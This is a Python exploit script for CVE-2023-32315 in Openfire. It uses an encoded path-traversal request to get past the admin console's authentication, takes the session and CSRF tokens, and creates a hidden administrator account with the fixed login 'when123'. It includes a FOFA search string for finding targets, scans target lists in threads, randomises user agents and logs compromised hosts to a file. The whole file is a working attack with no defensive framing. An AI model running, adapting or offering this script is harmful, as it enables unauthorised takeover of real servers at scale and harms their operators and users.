#coding:utf-8
import httplib2
import  ssl
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
import urllib.parse
from time import time
import random
import re

#FOFA：body="Openfire, 版本: "

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url_list=[]

#随机ua
def get_ua():
	first_num = random.randint(55, 62)
	third_num = random.randint(0, 3200)
	fourth_num = random.randint(0, 140)
	os_type = [
		'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
		'(Macintosh; Intel Mac OS X 10_12_6)'
	]
	chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

	ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
				   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
				  )
	return ua

#有漏洞的url写入文件	
def wirte_targets(vurl, filename):
	with open(filename, "a+") as f:
		f.write(vurl + "\n")

proxies={'http': 'http://127.0.0.1:8080',
		'https': 'https://127.0.0.1:8080'}

def check_url(url):
	url=parse.urlparse(url)
	clearurl = url.scheme + '://' + url.netloc 
	host = url.hostname
	port = url.port
	path = '/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp'
	rsp_list=''
	http = httplib2.Http(disable_ssl_certificate_validation=True,proxy_info=None,timeout=10)
	try:
		response, content = http.request(clearurl + path, method='GET')
		for header_name, header_value in response.items():
			rsp_list += header_value
		if "csrf=" in rsp_list:
			JSESSIONID=re.findall(r'JSESSIONID=(.*?);', rsp_list)[0]
			csrf=re.findall(r'csrf=(.*?);', rsp_list)[0]
		else:
			print("\033[31m[-]{} is no vulnerable. \033[0m".format(clearurl))
			return 0
		#add user
		headers = {
			'User-Agent': get_ua(),
			'Cookie':'JSESSIONID={}; csrf={}'.format(JSESSIONID,csrf)
		}
		addpath = '/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf={}&username=when123&name=&email=&password=when123&passwordConfirm=when123&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7'.format(csrf)
		add_user ,content = http.request(clearurl + addpath, method='GET',headers=headers)
		if add_user.status == 200 and "at" in content.decode('utf-8'):
			print("\033[32m[+]{} add user success! username:when123 password:when123\033[0m".format(clearurl))
			wirte_targets(clearurl,"vuln.txt")
		else:
			print("\033[31m[-]{} add user false!\033[0m".format(clearurl))
	except Exception as e:
		print("[!]{} request False. {}".format(clearurl,e))
		pass


def multithreading(url_list, pools=5):
	works = []
	for i in url_list:
		# works.append((func_params, None))
		works.append(i)
	# print(works)
	pool = threadpool.ThreadPool(pools)
	reqs = threadpool.makeRequests(check_url, works)
	[pool.putRequest(req) for req in reqs]
	pool.wait()


if __name__ == '__main__':
	show = r'''

	CVE-2023-32315
	                                                                    
                         unauthorized add user By when
	'''
	print(show + '\n')
	arg=ArgumentParser(description='check_url By when')
	arg.add_argument("-u",
						"--url",
						help="Target URL; Example:python3 CVE-2023-32315.py -u http://ip:port")
	arg.add_argument("-f",
						"--file",
						help="Target URL; Example:python3 CVE-2023-32315.py -f url.txt")
	args=arg.parse_args()
	url=args.url
	filename=args.file
	print("[+]任务开始.....")
	start=time()
	if url != None and filename == None:
		check_url(url)
	elif url == None and filename != None:
		for i in open(filename):
			i=i.replace('\n','')
			url_list.append(i)
		multithreading(url_list,10)
	end=time()
	print('任务完成,用时%ds.' %(end-start))